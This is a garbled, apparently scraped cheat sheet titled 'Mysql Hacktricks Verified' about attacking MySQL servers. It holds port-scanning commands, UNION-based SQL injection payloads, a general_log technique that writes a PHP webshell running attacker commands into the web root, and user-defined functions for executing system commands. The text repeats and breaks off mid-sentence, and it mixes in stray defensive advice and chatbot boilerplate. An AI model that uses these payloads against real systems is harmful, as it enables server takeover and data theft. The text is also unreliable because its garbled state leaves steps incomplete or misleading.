Mysql Hacktricks Verified !free! -

Implement strict allow-lists for user input.

What is the database running on (Linux or Windows)?

Your current (Blind SQL injection, authenticated user, or network-adjacent?)

You can manually connect to the port using netcat or telnet to read the raw version banner, which often reveals the exact patch level and operating system OS architecture: nc -nv 3306 Use code with caution. 2. Exploiting MySQL SQL Injection (SQLi) mysql hacktricks verified

# Standard service detection and default script scanning nmap -sV -sC -p 3306 # Targeting specific MySQL NSE scripts nmap -p 3306 --script="mysql-*" Use code with caution. Key Nmap scripts to look out for include:

' UNION SELECT @@version, NULL, NULL-- - ' UNION SELECT user(), database(), NULL-- -

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT '<?php system($_GET["cmd"]); ?>'; SET GLOBAL general_log = 'OFF'; Implement strict allow-lists for user input

If you have FILE and know the web root, you can write a webshell (provided secure_file_priv is not set to a restricted directory).

The FILE privilege allows database users to read and write files directly on the host operating system, subject to the permissions of the user running the MySQL process (usually the mysql user). The secure_file_priv Variable

The FILE privilege allows users to read and write files on the database server. Use this privilege to upload and execute malicious files. The FILE privilege allows database users to read

If information_schema is blocked, fall back on —this works in modern MySQL versions and often bypasses WAF filters that block information_schema queries.

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CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so'; CREATE FUNCTION sys_open RETURNS INT SONAME 'udf.so';